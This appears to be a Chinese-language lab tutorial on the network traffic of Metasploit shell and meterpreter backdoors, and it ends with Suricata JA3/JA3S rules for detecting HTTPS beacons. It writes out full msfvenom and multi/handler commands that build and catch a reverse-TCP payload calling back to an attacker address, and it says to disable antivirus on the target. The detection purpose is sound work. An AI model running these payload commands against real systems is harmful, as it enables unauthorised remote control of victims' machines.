流量分析-MSF-模式模块(shell/meterpreter)-源码特征

流量分析-MSF-模式模块(shell/meterpreter)-源码特征

生成shell模式后门

将生成的可执行文件6666.exe放入目标物理机中(目标物理机需要关闭杀毒文件)

打开msf监听器

输入命令:

1
2
3
4
5
6
msfconsole    #进入msf命令行
use exploit/multi/handler #使用武器库
set payload windows/x64/shell/reverse_tcp #设置payload
set lhost 192.168.1.47 #设置监听器本地地址
set lport 6666 #设置端口号
run #启动监听器

在物理机上运行6666.exe,上线后台

打开wireshark分析捕获流量

打开wireshark后选择==eth0==

在监听器输入==ipconfig==,==whoami==,wireshark过滤指令

1
tcp.port==6666

查看流量追踪流

可以看见是很明显的明文

生成 meterpreter 模式的后门

将生成的6667.exe放入物理机中,然后打开msf监听器

在物理机中运行6667.exe,上线后台

wireshark分析捕获流量

在wireshark输入命令过滤流量

1
tcp.port==6667

在监听端输入==ls==发现不是明文与shell模式不一样

保存然后再生成一个同样的后门==6677.exe==

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.47 lport=6677 -f exe -o 6677.exe

在监听器处输入exit重新配置payload,lhost,lport

物理机在后台上线后输入指令ls,并分析流量

流量分析-MSF-HTTP/S-基础特征

生成http型

设置监测后台配置

在物理机中运行6668.exe打开wireshark分析流量

可以发现有http协议的数据内容

生成https型

上线木马后开启抓包

运行7777.exe上次后抓取流量包,执行getuid命令

反制规则-MSF-Suricata-编写&检测

之前在做 https 类型的后门时分析过数据包的特征发现,Client Hello 和 Server Hello 的数 据包中的 JA3 值只会出现 42个值分别为

1
2
3
4
4d93395b1c1b9ad28122fb4d09f28c5e
652358a663590cfc624787f06b82d9ae
15af977ce25de452b96affa2addb1036
2253c82f03b621c5144709b393fde2c9

写一个rules文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# https-beacon-ja3指纹,client-hello
alert tls any any -> any any (gid:6666; sid:30005; rev:1; \
msg:"https-beacon-ja3-hash"; \
classtype: https-beacon; \
ja3.hash; pcre:"/652358a663590cfc624787f06b82d9ae|4d93395b1c1b9ad28122fb4d09f28c5e/"; \
)


# https-beacon-ja3s指纹,server-hello
alert tls any any -> any any (gid:6666; sid:30006; rev:1; \
msg:"https-beacon-ja3s-hash"; \
classtype: https-beacon; \
ja3s.hash; pcre:"/15af977ce25de452b96affa2addb1036|2253c82f03b621c5144709b393fde2c9/"; \
)

将命令写入msf.rules文件中在放入/etc/suricata/rules/文件夹中

输入命令:

1
suricata -c /etc/suricata/suricata.yaml -s /etc/suricata/rules/msf.rules -i eth0

之后上线木马,输入getuid

之后查看日志,输入命令

1
cat /var/log/suricata/fast.log